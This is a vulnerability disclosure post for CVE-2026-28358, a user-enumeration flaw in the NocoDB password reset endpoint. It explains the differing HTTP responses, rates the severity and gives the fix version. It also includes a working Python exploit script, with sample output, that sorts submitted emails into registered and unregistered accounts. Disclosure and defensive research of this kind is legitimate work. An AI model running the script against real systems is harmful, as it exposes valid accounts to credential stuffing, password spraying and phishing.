NocoDB ≤ 0.301.2 User Enumeration via Password Reset Endpoint (CVE-2026-28358)

NocoDB ≤ 0.301.2 User Enumeration via Password Reset Endpoint (CVE-2026-28358)

⚠ CVE CVE-2026-28358 Affects: https://github.com/nocodb/nocodb
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: Full Disclosure

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

Proof of Concept available — Full exploit code on GitHub. Use in authorized environments only.
▷ View PoC on GitHub

Content (Markdown)

NocoDB User Enumeration via Password Reset

CVE-2026-28358

A user enumeration vulnerability exists in NocoDB versions ≤ 0.301.2 within the password reset endpoint.

The endpoint:


/api/v2/auth/password/forgot

returns different responses depending on whether the submitted email address exists in the system.

This allows an attacker to identify valid registered users.


Vulnerability Details

Field Value
CVE CVE-2026-28358
Severity Medium
CVSS 5.3
Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected Versions ≤ 0.301.2
Fixed Version 0.301.3
Platform Linux / Windows / Docker
Category Information Disclosure

Root Cause

The password reset endpoint returns different responses depending on whether the submitted email exists.

Example behavior:

Registered Email


HTTP 200
Password reset email sent

Unregistered Email


HTTP 400
Your email has not been registered.

````

Because of this difference, attackers can determine whether a given email exists in the system.

---

## Impact

An attacker can enumerate valid user accounts which may later be used for:

- Credential stuffing attacks
- Password spraying
- Targeted phishing attacks
- Account takeover attempts

---

## Proof of Concept

The following Python script demonstrates the enumeration issue.

### Exploit Script

```python id="1aw5sh"
#!/usr/bin/env python3
# Exploit Title:        NocoDB User Enumeration via Password Reset Endpoint
# CVE:                  CVE-2026-28358
# Date:                 2026-03-04
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:
# Vendor Homepage:      https://nocodb.com
# Software Link:        https://github.com/nocodb/nocodb
# Affected:             NocoDB <= 0.301.2
# Tested on:            NocoDB 0.301.0 / 0.301.2
# Category:             Webapps
# Platform:             Linux / Windows / Docker
# Exploit Type:         Remote
# CVSS:                 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
# Description:          Unauthenticated user enumeration via timing / response difference
#                       in the password reset endpoint (/api/v2/auth/password/forgot).
#                       Registered emails return success message while unregistered ones
#                       return specific error "Your email has not been registered."
# Fixed in:             0.301.3
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Options:
#   -- Modify the base_url and emails list below
#
# Notes:
#   • Only for authorized security testing / educational purposes
#   • Do not use against systems you do not own or have explicit permission to test
#
# How to Use
#
# Step 1: Update base_url to point to your target NocoDB instance
# Step 2: Modify or replace the emails list with targets to check
#
# ────────────────────────────────────────────────

import requests
import json

base_url = "http://<NOCODB_HOST>/api/v2/auth/password/forgot"

emails = [
    "registered@example.com",
    "unregistered@example.com",
    "admin@company.com",
    "user@company.com"
]

headers = {
    "Content-Type": "application/json"
}

for email in emails:
    payload = {
        "email": email
    }

    try:
        response = requests.post(base_url, headers=headers, data=json.dumps(payload))
        print(f"Email: {email}")
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text}")

        if "Your email has not been registered" in response.text:
            print("Result: Unregistered\n")
        else:
            print("Result: Registered (or success message)\n")
    except Exception as e:
        print(f"Error for {email}: {e}\n")
````


---

## Example Usage

Edit the script and modify:

base_url
emails


Then run:

```bash
python3 exploit.py

Example Output

Email: admin@company.com
Status Code: 200
Response: Password reset email sent
Result: Registered

Email: fake@example.com
Status Code: 400
Response: Your email has not been registered.
Result: Unregistered

Mitigation

Users should upgrade immediately:

NocoDB >= 0.301.3

Developers should ensure that password reset endpoints return generic responses regardless of whether an account exists.

Example secure response:

If the email exists, a password reset link has been sent.

This prevents attackers from determining whether an account is valid.


References


Author

Mohammed Idrees Banyamer
Jordan

Instagram: @banyamer_security

Disclosure: Full Disclosure

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.